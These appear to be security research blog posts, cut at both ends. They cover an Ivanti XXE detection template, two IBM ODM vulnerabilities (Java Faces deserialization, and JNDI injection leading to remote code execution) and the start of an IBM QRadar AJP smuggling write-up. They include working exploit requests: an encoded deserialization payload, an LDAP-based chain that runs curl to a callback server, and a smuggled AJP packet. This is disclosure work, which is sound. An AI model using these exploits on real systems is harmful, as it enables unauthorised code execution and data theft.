In January, when APT were popping networks with 0days in Ivanti Connect Secure, we were first in the industry to release reliable mechanisms to identify a vulnerable appliance - safely. That work led numerous types of organisations, including non-profits like ShadowServer, being able to inform parties globally about their susceptibility.

We aim to do the same here, without enabling mass exploitation and deployment of crypto-miners - or forcing CISA to require a full factory reset of Ivanti appliances yet again.

id: ivanti-xxe-cve-2024-22024
info:
  name: Ivanti Connect Secure XXE (CVE-2024-22024)
  author: watchTowr
  severity: high
  tags: xxe,ivanti,watchtowr,cve-2024-22024

http:
  - raw:
      - |
        POST /dana-na/auth/saml-sso.cgi HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
        Connection: close
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 236

        SAMLRequest={{base64(concat('<?xml version=\\"1.0\\" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM \\"http://',rand_text_alpha(10, "abcdef"),'.','{{interactsh-url}}','/x\\"> %watchTowr;]><r></r>'))}}
    

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol 
        words:
          - "dns"

Conclusion

Another day, yet another SSL VPN bug.

We’re surprised about the communication mishandling from Ivanti, and we assume this is without malice.

We’ve said what we’ve needed to say before about SSLVPN appliances as an industry, the poor state of security, and the concerning trend downwards. However, our commitment remains - to help our clients remain secure, and thus we will continue on this crusade until such a time that it is not relevant.

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic high-impact vulnerabilities that affect your organisation.

If you'd like to learn more about how the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, can support your organisation, please get in touch.

“To live is to fight, to fight is to live! - IBM ODM Remote Code Execution

By: Sonny
22 February 2024 at 07:33
“To live is to fight, to fight is to live! - IBM ODM Remote Code Execution

In previous blogs, we’ve discussed some of the big players in the enterprise software space, but there is one that we have not mentioned before, that is - quite frankly - the heavy-weight champion of the world in terms of applications for large enterprises. With over a hundred years of experience, a founder and leader in the tech world, and weighing in at nearly a $170b US market cap - it’s IBM.

Here at watchTowr, we’re not intimidated by the name (or tweets) - at the end of the day, code is code, and we’re no strangers to discovering vulnerabilities that bring applications to the ropes and knock them down for the count.

In today’s match-up, we’re looking at various versions(both old and new!) of IBM’s “Operational Decision Manager” (ODM). IBM ODM, as described by Big Blue themselves:

IBM Operational Decision Manager (ODM) is a powerful decision management platform that streamlines decision authoring and editing, with enterprise-grade features such as a traceability, simulation, versioning and auditing. IBM ODM helps organizations build precise decisions that help organizations increase efficiency, manage compliance, and improve operational agility.

Powerful. Decisions. Streamline. Agility. Big words, from Big Blue.

“To live is to fight, to fight is to live! - IBM ODM Remote Code Execution

Booking The Fight

Getting ahold of IBM software is usually not easy; most of their products come with hefty price tags, even when looking at virtualized solutions in cloud marketplaces.

However, in an uncharacteristic turn of events, IBM actually offers a friendly Docker environment for the IBM ODM product in question, ready and waiting for developers to spar with - check it out on DockerHub at https://hub.docker.com/r/ibmcom/odm.

When auditing an application like this, we like to do some pre-research into the application to observe how it has grown over time. We find that watching how a particular software package has evolved and mutated new features can be revealing and helpful in guiding us through what is otherwise 'complex'.

This is demonstrated previously in our OpenCMS blog. In this instance, it's entirely possible, thankfully with Docker tags.

So - let’s do some pre-fight research into ODM, and see how it has grown over the years, by booting up the earliest version available (8.9.2.0, a six-year vintage):

docker run -e LICENSE=accept -p 9060:9060 -p 9443:9443  -m 2048M --memory-reservation 2048M  -e SAMPLE=true ibmcom/odm:8.9.2.0

Following the documentation from their Docker repository, we can instantly ascertain that the main web interfaces are exposed on the following ports and endpoints:

Component URL Username Password
http://localhost:9060/res http://localhost:9060/res odmAdmin odmAdmin
http://localhost:9060/DecisionService http://localhost:9060/DecisionService odmAdmin odmAdmin
http://localhost:9060/decisioncenter http://localhost:9060/decisioncenter odmAdmin odmAdmin
http://localhost:9060/DecisionRunner http://localhost:9060/DecisionRunner odmAdmin odmAdmin

Round 1: CVE-2024-22320, Java Deserialization… FIGHT!

When looking into an application as researchers, we can often be quick to start pulling apart its internals and filesystem.

However, it is also sometimes critical to simply browse the application, as if we were end-users, and take stock of what we see. When we do just this, navigating the service running on port 9060, we can see the typical file extension in use is .jsf, which, for those unfamiliar, indicates the Java Faces Framework; this comes with its own set of historical vulnerabilities (for example, the ViewState).

When logging into the administration panel and taking a peek at the resultant HTTP traffic, we can see in the response a string that should make any bug hunter shout ‘HADOUKEN’ from their desktop:

"javax.faces.ViewState" value="rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAN0AAE0cHQAEy9wcm90ZWN0ZWQvaG9tZS5qc3A="
“To live is to fight, to fight is to live! - IBM ODM Remote Code Execution

For the uninitiated, the prefix rO0ABXV indicates an unencrypted Java Object. This is a well-documented characteristic of earlier versions of the Java Faces Framework. Should a user be able to supply their own value for this javax.faces.ViewState parameter, then it is typically possible to achieve Remote Code Execution by exploiting deserialization routines with a malicious Java object.

Before we get excited, though, we need to double-check our facts. First off, can this ViewState be consumed pre-authenticated? Let's try by hitting the login.jsf endpoint to see:

GET /res/login.jsf?javax.faces.ViewState=watchTowr HTTP/1.1
Host: localhost:9060

The response shows it does! Happy day!

HTTP/1.1 500 Internal Server Error
X-Powered-By: Servlet/3.1
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Type: text/html;charset=ISO-8859-1
$WSEP: 
Content-Language: en-US
Connection: Close
Date: Mon, 19 Feb 2024 03:09:48 GMT
Content-Length: 84

Error 500: javax.servlet.ServletException: error while processing state : watchTowr

Fantastic, we’re making good progress with some opportunistic button-bashing (adding a '/' there, a ';' there, and see what we get :^) ).

When looking at Java Deserialization, we have a few options available, such as creating a custom gadget chain that results in Remote Code Execution. First, though, it’s always worth checking the open-source project ysoserial to see if we can use any known gadget chains and make things faster.

A typical gadget chain that is present in almost all scenarios is the URLDNS chain, which can be used to make an external DNS callback to our listening infrastructure. It does this by serializing a URLDNS object, and setting the hashCode member to -1, which has the effect of causing the hashCode to be recomputed when the URLDNS is compared with anything. In the process of computing the hashCode, the URLDNS object calls hashCode on a URL, which in turn causes the URL to be resolved and thus generates our DNS callback.

The command to generate the payload from ysoserial looks something like this:

./java -jar ysoserial.jar URLDNS "<http://listening-host>" | base64

We can then URL-encode the object generated by ysoserial and pass it in, like so:

GET /res/login.jsf?javax.faces.ViewState=%72%4f%30%41%42%58%4e%79%41%42%46%71%59%58%5a%68%4c%6e%56%30%61%57%77%75%53%47%46%7a%61%45%31%68%63%41%55%48%32%73%48%44%46%6d%44%52%41%77%41%43%52%67%41%4b%62%47%39%68%5a%45%5a%68%59%33%52%76%63%6b%6b%41%43%58%52%6f%63%6d%56%7a%61%47%39%73%5a%48%68%77%50%30%41%41%41%41%41%41%41%41%78%33%43%41%41%41%41%42%41%41%41%41%41%42%63%33%49%41%44%47%70%68%64%6d%45%75%62%6d%56%30%4c%6c%56%53%54%4a%59%6c%4e%7a%59%61%2f%4f%52%79%41%77%41%48%53%51%41%49%61%47%46%7a%61%45%4e%76%5a%47%56%4a%41%41%52%77%62%33%4a%30%54%41%41%4a%59%58%56%30%61%47%39%79%61%58%52%35%64%41%41%53%54%47%70%68%64%6d%45%76%62%47%46%75%5a%79%39%54%64%48%4a%70%62%6d%63%37%54%41%41%45%5a%6d%6c%73%5a%58%45%41%66%67%41%44%54%41%41%45%61%47%39%7a%64%48%45%41%66%67%41%44%54%41%41%49%63%48%4a%76%64%47%39%6a%62%32%78%78%41%48%34%41%41%30%77%41%41%33%4a%6c%5a%6e%45%41%66%67%41%44%65%48%44%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%33%51%41%4c%47%6b%7a%62%58%59%32%5a%44%42%76%4d%57%70%78%4d%7a%56%70%64%54%67%79%5a%6a%63%79%5a%57%35%7a%5a%54%4d%31%4f%58%64%34%62%6d%78%6a%4c%6d%39%68%63%33%52%70%5a%6e%6b%75%59%32%39%74%64%41%41%41%63%51%42%2b%41%41%56%30%41%41%52%6f%64%48%52%77%63%48%68%30%41%44%4e%6f%64%48%52%77%4f%69%38%76%61%54%4e%74%64%6a%5a%6b%4d%47%38%78%61%6e%45%7a%4e%57%6c%31%4f%44%4a%6d%4e%7a%4a%6c%62%6e%4e%6c%4d%7a%55%35%64%33%68%75%62%47%4d%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%31%34 HTTP/1.1
Host: localhost:9060

We can see in the HTTP response that a chain has been called to java.util.HashMap. Checking our DNS server logs (or using a canarytoken) confirms that interaction has taken place.

HTTP/1.1 500 Internal Server Error
X-Powered-By: Servlet/3.1
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Type: text/html;charset=ISO-8859-1
$WSEP: 
Content-Language: en-US
Connection: Close
Date: Mon, 19 Feb 2024 03:16:40 GMT
Content-Length: 103

Error 500: javax.servlet.ServletException: java.util.HashMap incompatible with [Ljava.lang.Object&#59;

We spent some time looking at publicly available gadget chains included with ysoserial (and beyond), but none could get us past the finishing line to RCE. A custom chain is required to exploit this issue, which is unfortunately outside the scope of this blog post.

This Java Faces deserialization issue wasn’t raised, or disclosed previously for ODM, so we contacted IBM, who assigned this a whopping 9.8 and CVE-2024-22320. Phwoar!

Editors note: The character to CVSS score ratio here is 'no bueno'.
“To live is to fight, to fight is to live! - IBM ODM Remote Code Execution

Round 2: CVE-2024-22319, JNDI Injection… FIGHT

Having proved ourselves against historical releases of ODM, it's time to look ahead. We wanted a zero-day in the latest version of ODM. Let’s load up the main event, version 8.12 :

docker run -e LICENSE=accept -p 9060:9060 -p 9445:9443  -m 2048M --memory-reservation 2048M  -e SAMPLE=true ibmcom/odm:8.12

From a quick look around, we can see the Java Faces dependency has been upgraded to myfaces-impl-1.1.10.jar. In this version, the ViewState is encrypted by default, so by chance of a dependency update, IBM has been saved from CVE-2024-22320.

Undeterred, let's keep going: looking through the filesystem, we can see several .war files and the associated resources for various applications.

/opt/ibm/wlp/usr/servers/defaultServer/apps/DecisionService.war
/opt/ibm/wlp/usr/servers/defaultServer/apps/DecisionRunner.war
/opt/ibm/wlp/usr/servers/defaultServer/apps/decisioncenter.war
/opt/ibm/wlp/usr/servers/defaultServer/apps/decisioncenter-api.war
/opt/ibm/wlp/usr/servers/defaultServer/apps/odm-loan-server-1.0.war
/opt/ibm/wlp/usr/servers/defaultServer/apps/res.war
/opt/ibm/wlp/usr/servers/defaultServer/apps/welcomepage.war

Most seem to be servlets which create web.xml files for mapping purposes using the <url-pattern> tags. The only one that doesn’t follow this pattern is decisioncenter-api.war, which appears to be a REST API.

When navigating to this endpoint via a web browser, a Swagger document is available, giving us juicy details about various API's available.

“To live is to fight, to fight is to live! - IBM ODM Remote Code Execution

Regrettably, all APIs except one appear to require authentication, and so aren’t relevant for our goal of pre-authenticated RCE (at this stage). The lone exception is the "About" API. But how much damage could the "About" API possibly cause..? Well, let’s take a look at the API.

“To live is to fight, to fight is to live! - IBM ODM Remote Code Execution

Looking at this, your eyes should keenly zero in on something suspicious. That's right! Does the ‘About’ API take in a parameter for a JNDI object? (and why would an ‘About’ API require this functionality?! We’ll leave that question to the philosophers - and the Twitter warriors).

For those new to the concept of JNDI, it stands for "Java Naming and Directory Interface." Fret not, we hopped on the AI bandwagon and asked ChatGPT to explain JNDI for us:

Imagine you're in a vast library and want to find a particular book. You know the book's title but need to know its location. So, what do you do? You ask the librarian.

In the world of Java programming, JNDI is like that librarian. It helps you find and access resources like databases, services, or objects in a Java environment without knowing exactly where they are located or how they are implemented.

Here's how it works:Naming: JNDI provides a way to name these resources, just like each book in the library has a unique title. These names are organized hierarchically, similar to how books are categorized by genres, authors, or topics in the library.Directory: Think of JNDI as a directory system in the library. To locate a book, consult the directory. Similarly, when your Java program needs to access a resource, it consults JNDI to discover the resource by its name.Interface: JNDI provides a set of Java interfaces and classes your program can use to interact with the naming and directory services. These interfaces define methods for looking up, adding, updating, and removing resources.

In summary, JNDI is like a helpful librarian in a vast library of resources, assisting your Java programs in finding and accessing the resources they need without you having to worry about their exact locations or implementations.

Thanks, ChatGPT! It seems that JNDI is some kind of Java-based librarian.

So now that's a bit clearer, you might be asking why this is useful for us in our quest to impact the killer blow. Well, time for some more history - several years ago (in 2016, to be precise), some very clever researchers (Alvaro Muñoz and Oleksandr Mirosh) looked into a then-new vulnerability class, ‘JNDI Injection’, and found some very interesting behaviour.

They noted that, when a JNDI lookup takes place, code flow typically passes through a Context.lookup function. Code to perform a lookup might look something similar to the following:

public class JNDILookupExample {
    public static void main(String[] args) {
        try {
            // Create a JNDI initial context. This is like connecting to the library.
            Context ctx = new InitialContext();

            // Specify the name of the resource you want to look up.
            String resourceName = "java:/comp/env/jdbc/myDB";

            // Perform the lookup. This is like asking the librarian for a specific book.
            Object resource = ctx.lookup(resourceName);

            // Use the resource in your application.
            System.out.println("Resource found: " + resource);

            // Close the context when you're done.
            ctx.close();
        } catch (NamingException e) {
            // Handle any naming exception that might occur.
            e.printStackTrace();
        }
    }
}

Critically, they found that once a user has access to the parameter that controls the resourceName passed to the lookup() function, it’s possible to reference other registered Java Objects, opening up a gateway to RCE.

The researchers mentioned that it is possible to do this via two different protocols - specifically, the rmi:// and ldap:// protocols. These two protocols host Java Objects, which can be deserialized by the fetching server, resulting in Remote Code Execution.

To test if it's possible to reach the all-important lookup() function remotely, we can use one of these two protocol handlers, pointing the request to our external listening infrastructure (for example, a DNS canary token) and observe any callbacks:

GET /decisioncenter-api/v1/about?datasource=ldap://external-host HTTP/1.1
Host: localhost:9060

Taking a look through the docker logs confirms that a lookup has taken place (and failed):

2024-02-19 14:18:17 [ERROR   ] Error while connecting to the Decision Center backend: Could not lookup datasource named 'ldap://external-host'
2024-02-19 14:18:17 Could not lookup datasource named 'ldap://external-host'

An excellent level of detail went into the original research, and it would be of no real benefit to duplicate it here, so curious readers are encouraged to read the BlackHat presentation https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf.

While the researchers point out that exploitation via RMI is typically not possible as a Security Manager is enabled by default, this is usually not the case when abusing the LDAP protocol. There is a clear path to the fabled RCE.

Our planned exploitation sequence is as follows:

  1. We send a malicious LDAP-URI to ODM, referencing an LDAP server we control
  2. ODM processes the LDAP request, which finds its way into an InitialContext.lookup() call
  3. Our malicious LDAP server responds with an LDAP object containing a serialized java object
  4. ODM deserializes the object chain garnered from our LDAP server
  5. Ding-Ding-Ding! RCE!

Hosting our own LDAP server sounds like a tedious exercise, but thankfully, there’s an open-source project that does precisely what we want - https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.

We found that some experimentation was needed to find a gadget chain that satisfies the current classpath and avoids security mechanisms. After a little bit of experimentation, we found several gadget chains that worked, including the Jackson XML gadget chain, which we’ll use for demonstration.

To validate that RCE is possible, we need the following resources set up:

  • Server A, running IBM ODM
  • Server B, running an HTTP listening server
  • Server C, running JNDI-Injection-Exploit-Plus

On server C, we start the tool with the following command, which starts the LDAP server up:

java -jar JNDI-Injection-Exploit-Plus-2.2-SNAPSHOT-all.jar -C "curl http://<Server B IP Address>" -A "<Server C IP Address>"

And then we send the following request to Server A, which is happily running an instance of IBM.

GET /decisioncenter-api/v1/about?datasource=ldap://<Server C IP Address>:1389/deserialJackson HTTP/1.1
Host: localhost:9060

Our sequence of events fires perfectly - the LDAP server is queried and serves a malicious serialised blob, which is then deserialized, causing the curl command to be executed. Finally, we see a HTTP callback will on Server B:

GET / HTTP/1.1
Host: ServerB
Accept: */*
User-Agent: curl/7.61.1

The Docker logs on Server A contain an error message, confirming that the deserialization has taken place.

2024-02-19 14:40:43 [ERROR   ] Error while connecting to the Decision Center backend: com.fasterxml.jackson.databind.JsonMappingException: (was java.lang.NullPointerException) (through reference chain: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl["outputProperties"])
2024-02-19 14:40:43 com.fasterxml.jackson.databind.JsonMappingException: (was java.lang.NullPointerException) (through reference chain: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl["outputProperties"])
“To live is to fight, to fight is to live! - IBM ODM Remote Code Execution

With some code analysis, we were able to narrow down the code block which causes this lookup to take place, deep within the depths of ilog.rules.teamserver.ejb.service.dao.IlrElementDAOFactory.

The HTTP request parameter datasource is fed into a variable lookupName, and then this is passed to the all-important lookup() function for a JNDI context ctx without any further validation.

public class IlrElementDAOFactory {
  private static Map<String, IlrElementDAO> daoMap = new HashMap<>();
  
  private static SnapshotCleanupService snapshotCleanup;
  
  public static IlrElementDAO getInstance(String dataSourceName) throws IlrDataSourceException {
    IlrElementDAO dao = daoMap.get(dataSourceName);
    if (dao == null) {
      DataSource dataSource;
      InitialContext ctx = null;
      String lookupName = dataSourceName;
      try {
        ctx = new InitialContext();
        lookupName = "java:comp/env/" + dataSourceName;
        dataSource = (DataSource)ctx.lookup(lookupName);
        ctx.close();
      } catch (NamingException e) {
        if (ctx == null)
          throw new IlrDataSourceException(dataSourceName, e); 
        try {
          lookupName = dataSourceName;
          dataSource = (DataSource)ctx.lookup(lookupName);
          ctx.close();
        } catch (NamingException e2) {
          try {
            lookupName = "java:/" + dataSourceName;
            dataSource = (DataSource)ctx.lookup(lookupName);
            ctx.close();
          } catch (NamingException e3) {
            throw new IlrDataSourceException(dataSourceName, e);
          } 
        } 
      } 
      dao = buildNewDAO(dataSource, dataSourceName.intern());
      daoMap.put(dataSourceName, dao);
    } 
    if (snapshotCleanup != null && !dao.isRegisteredForSnapshotCleanup()) {
      dao.setRegisteredForSnapshotCleanup(true);
      snapshotCleanup.addDatasource(dataSourceName);
    } 
    return dao;
  }

Post Fight Interview

“To live is to fight, to fight is to live! - IBM ODM Remote Code Execution

Having knocked out ODM a second time, we contacted IBM once again, who promptly assigned CVE-2024-22319 with a CVSS of 8.1 - that’s right, a pre-authenticated Remote Code Execution classified as ‘High’, and not the ‘Critical’ we were hoping for 🤡.

Perhaps this post is enough to prove exploitability.

“To live is to fight, to fight is to live! - IBM ODM Remote Code Execution

Conclusion

Great news - IBM released an advisory for all versions of ODM, which can be found here - https://www.ibm.com/support/pages/node/7112382?_ga=2.244854796.861635083.1708325068-554310897.1684384757.

If anyone asks enough, IBM may also provide SIGMA rules - fingers crossed!

“To live is to fight, to fight is to live! - IBM ODM Remote Code Execution
“Should've done SIGMA rules, scrub”

As part of our comms with IBM, they also confirmed the following product versions were affected:

Affected Product(s) Version(s)
IBM Operational Decision Manager 8.10.3
IBM Operational Decision Manager 8.10.4
IBM Operational Decision Manager 8.10.5.1
IBM Operational Decision Manager 8.11.0.1
IBM Operational Decision Manager 8.11.1
IBM Operational Decision Manager 8.12.0.1

Hopefully, this post has shown you how fun Java deserialization bugs can be, and just how devastating they can be when circumstance aligns and a full RCE chain is possible.

As researchers, we’re big fans of this bug class as it seems to pop up in unexpected places, and because it lends itself to such clean exploitation once a chain is found.

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic high-impact vulnerabilities that affect your organisation.

It's our job to understand how emerging threats, vulnerabilities, and TTPs affect your organisation.

If you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.

Timeline

Date Detail
3rd January 2024 Vulnerability discovered
3rd January 2024 watchTowr hunts through client's attack surfaces for impacted systems, and communicates with those affected
4th January 2024 Vulnerabilities disclosed to IBM PSIRT
4th January 2024 IBM responds and assigned the internal tracking references “ADV0107631, ADV0107556”
29th January 2024 IBM issues a security advisory and assigns the identifiers CVE-2024-22319 and CVE-2024-22320 - https://www.ibm.com/support/pages/node/7112382
22nd February 2024 Blogpost and PoC released to public

IBM QRadar - When The Attacker Controls Your Security Stack (CVE-2022-26377)

By: Sonny
12 April 2024 at 08:27
IBM QRadar - When The Attacker Controls Your Security Stack   (CVE-2022-26377)

Welcome to April 2024.

A depressing year so far - we've seen critical vulnerabilities across a wide range of enterprise software stacks.

In addition, we've seen surreptitious and patient threat actors light our industry on fire with slowly introduced backdoors in the XZ library.

Today, in this iteration of 'watchTowr Labs takes aim at yet another piece of software' we wonder why the industry panics about backdoors in libraries that have taken 2 years to be unsuccessfully introduced - while security vendors like IBM can't even update libraries used in their flagship security products that subsequently allow for trivial exploitation.

IBM QRadar - When The Attacker Controls Your Security Stack   (CVE-2022-26377)

Over the last few weeks, we've watched the furor and speculation run rife on Twitter and LinkedIn;

  • Who wrote the XZ backdoor?
  • Which APT group was it?
  • Which country do we blame?
  • Could it happen again?

We sat back and watched the industry discuss how they would solve future iterations of the XZ backdoor - presumably in some sort of parallel universe - because in the one we currently exist in, IBM - a key security vendor - could not even update a dependency in it's flagship security software to keep it secure.

Seriously, what are we doing?

Anyway, we're back at it - sit back, enjoy the mayhem - and join us on this journey into IBM's QRadar.

What is QRadar?

For the uninitiaited on big blue, or those that have just been spared numerous traumatic experiences having to ever configure a SIEM - as mentioned above, QRadar is IBM's crown-jewel, flagship security product.

For those unfamiliar with defensive security products, QRadar is the mastermind application that can sit on-premise or in the cloud via IBM's SaaS offering. Quite simply, it's IBM's Security Information and Event Management (SIEM) product - and is the heart of many enterprise's security software stack.

A (SIEM) solution is a centralised system for monitoring logs ingested from all sorts of endpoints (for example: employee laptops, servers, IoT devices, or cloud environments). These logs are analysed using a defined ruleset to detect potential security incidents.

Has a web shell been deployed to an application server? Has a Powershell process been spawned on the marketing teams' laptops? Is your Domain Controller communicating with Pastebin? SIEMs ingest and analyse alerts, data, and telemetry - and provide feedback alerts to a Blue Team operator to inform them of potential security events.

Should a threat actor manage to compromise a SIEM in an enterprise environment, they'd be able to "look down all the CCTV cameras in the warehouse," so to speak.

With the ability to manipulate records of potential security incidents or to view logs (which all too often contain cleartext credentials) and session data, it is clear how this access permits an attacker to cripple security team capabilities within an organisation.

Obtaining a license for QRadar costs thousands of dollars, but fortunately for us, QRadar is available for download as an installation on-premise in the form of AWS AMI's (BYOL) and a free Community Edition Virtual machine.

Typically, QRadar is deployed within an organisations internal environment - as you'd expect for the management console for a security product - but, a brief internet search reveals that thousands of IBM's customers had "better ideas".

When first reviewing any application for security deficiencies, the first step is to enumerate the routes available. The question posed; where can we, as pre-authenticated users, touch the appliance and interact with its underlying code?

We’re not exaggerating when we state that a deployment of IBM’s QRadar is a behemoth of a solution to analyse- to give some statistics of the available routes amongst the thousands of files, we found a number of paths to explore:

  • 5 .war Files
    • Containing 70+ Servlets
  • 468 JSP files
  • 255 PHP Files
  • 6+ Reverse ProxyPass’s
  • seemingly-infinite defined APIs (as we'd expect for a SIEM)

Each route takes time to meticulously review to e its purpose (and functionality, intentional or otherwise).

Our first encounter with QRadar was back in October of 2023; we spent a number of weeks diving into each route available, extracting the required parameters, and following each of their functions to look for potential security vulnerabilities.

To give some initial context on QRadar, the core application is accessed via HTTPS over port 443, which redirects to the endpoint /console . When reviewing the Apache config that handles this, we can see this is filtered through a ProxyPass rule over the ajp:// protocol to an internal service running on port 8009:

ProxyPass /console/ ajp://localhost:8009/console/

For those new to AJP (Apache JServ Protocol), it is a binary-like protocol for interacting with Java applications instead of a human-readable protocol like HTTP. It is harder for humans to read, but it has similarities, such as parameters and headers.

In the context of QRadar, users typically don’t have direct access to the AJP protocol. Instead, they access it indirectly, sending an HTTP request to /console URI. Anything after this /console endpoint is translated from an HTTP request to an AJP binary packet, which is then actioned by the Java code of the application.

FWIW, it’s considered bad security practice to allow direct access to the AJP protocol, and with good reason - you only have to look at the infamous GhostCat vulnerability that allowed Local File Read and, in some occasions, Remote Code Execution, for an example of what can go wrong when it is exposed to malicious traffic.

Below is an example viewed within WireShark that shows a single HTTP request to a /console endpoint. We can see that this results in a single AJP packet being issued. It’s important to note, for later on, the ‘one request to one packet’ ratio - every HTTP request results in exactly one set of AJP packets.

IBM QRadar - When The Attacker Controls Your Security Stack   (CVE-2022-26377)

While the majority of servlets and .jsp endpoints reside within the console.war file, these can’t be accessed from a pre-authenticated perspective. As readers will imagine - this is no bueno.

Sadly, in our first encounter - we came up short. The reality of research is that this happens, but as any one that is jaded enough by computers and research will know - we kept meticulous notes, including a Software Bill of Materials (SBOM), in case we needed to come back.

It's a new dawn, it's a new day, it's a new life

Before getting into our current efforts here in 2024, let's discuss something that was brought to light back in 2022 - a then-new class of vulnerability defined as “AJP Smuggling”.

A researcher known as “RicterZ” released their insight and a PoC into an AJP smuggling vulnerability (CVE-2022-26377), which, in short, demonstrates that it is possible to smuggle an AJP packet via an HTTP request containing the header Transfer-Encoding: Chunked, Chunked, and with the request body containing the binary format of the AJP packet. This smuggled AJP request is passed directly to the AJP protocol port should a corresponding Apache ProxyPass rule have been configured.

This was deemed a vulnerability in mod_proxy_ajp, and the assigned CVE is accompanied by the following description:

Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling') vulnerability in mod_proxy_ajp of Apache HTTP Server allows an attacker to smuggle requests to the AJP server it forwards requests to. This issue affects Apache HTTP Server Apache HTTP Server 2.4 version 2.4.53 and prior versions.

The impact of this vulnerability was mostly theoretical until a real-world example came to our attention at the start of 2024. This example came in the form of CVE-2023-46747, a compromise of BigIP’s F5 product, achieved using the same AJP smuggling technique.

Here, researchers leveraged the original vulnerability, as documented by RicterZ. This allowed a request to be smuggled to the AJP protocol’s backend, exposing a new attack surface of previously-restricted functionality. This previously-restricted but now-available functionality allowed an unauthenticated attacker to add new a new administrative account to an F5 BigIP device.

Having familiarised ourselves with both the aforementioned F5 BigIP vulnerability and RicterZ’s work, we set out to reboot our QRadar instance to see if our new knowledge was relevant to its implementation of AJP in the console application.

A quick version check of the deployed httpd binary tells us we’re up against Apache 2.4.6, which is a bit newer than the supposedly vulnerable version fo Apache that contained a vulnerable version of mod_proxy_ajp.

As anyone that has ever exploited anything actually knows - version numbers are are at best false-advertising, and thus - frankly - we ignored this. Also, fortunately for us, in the context of the IBM QRadar deployment of Apache, the module proxy_ajp_module is loaded.

[ec2-user@ip-172-31-24-208 tmp]$ httpd -v
Server version: Apache/2.4.6 (Red Hat Enterprise Linux)
Server built:   Apr 21 2020 10:19:09

[ec2-user@ip-172-31-24-208 modules]$ sudo httpd -M | grep proxy_ajp_module
proxy_ajp_module (shared)

To conduct a quick litmus test to whether or not QRadar is vulnerable to CVE-2022-26377, we followed along with RicterZ’s research and tried the PoC, which comes in the form of a curl invocation, intended to retrieve the web.xml file of the ROOT war file to prove exploitability.

The curl PoC can be broken down into two parts:

  • Transfer-Encoding header with the “chunked, chunked” value,
  • A raw AJP packet in binary format within the request’s body, stored here in the file pay.txt.
curl -k -i https://<qradar-host>/console/ -H 'Transfer-Encoding: chunked, chunked' \\
		--data-binary @pay.txt
00000000: 0008 4854 5450 2f31 2e31 0000 012f 0000  ..HTTP/1.1.../..
00000010: 0931 3237 2e30 2e30 2e31 00ff ff00 0161  .127.0.0.1.....a
00000020: 0000 5000 0000 0a00 216a 6176 6178 2e73  ..P.....!javax.s
00000030: 6572 766c 6574 2e69 6e63 6c75 6465 2e72  ervlet.include.r
00000040: 6571 7565 7374 5f75 7269 0000 012f 000a  equest_uri.../..
00000050: 0022 6a61 7661 782e 7365 7276 6c65 742e  ."javax.servlet.
00000060: 696e 636c 7564 652e 7365 7276 6c65 745f  include.servlet_
00000070: 7061 7468 0001 532f 2f2f 2f2f 2f2f 2f2f  path..S/////////
00000080: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000090: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000a0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000b0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000c0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000d0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000e0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000f0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000100: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000110: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000120: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000130: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000140: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000150: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000160: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000170: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000180: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000190: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000001a0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000001b0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000001c0: 2f2f 2f2f 2f2f 2f2f 2f2f 000a 001f 6a61  //////////....ja
000001d0: 7661 782e 7365 7276 6c65 742e 696e 636c  vax.servlet.incl
000001e0: 7564 652e 7061 7468 5f69 6e66 6f00 0010  ude.path_info...
000001f0: 2f57 4542 2d49 4e46 2f77 6562 2e78 6d6c  /WEB-INF/web.xml
00000200: 00ff

